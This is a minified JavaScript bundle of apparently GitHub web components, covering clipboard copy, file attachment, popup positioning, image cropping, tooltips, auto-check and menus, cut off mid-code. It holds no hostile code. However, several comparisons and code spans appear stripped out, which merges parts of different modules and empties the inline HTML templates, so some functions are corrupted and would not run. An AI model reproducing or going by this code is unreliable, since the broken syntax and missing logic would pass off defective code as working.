c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const 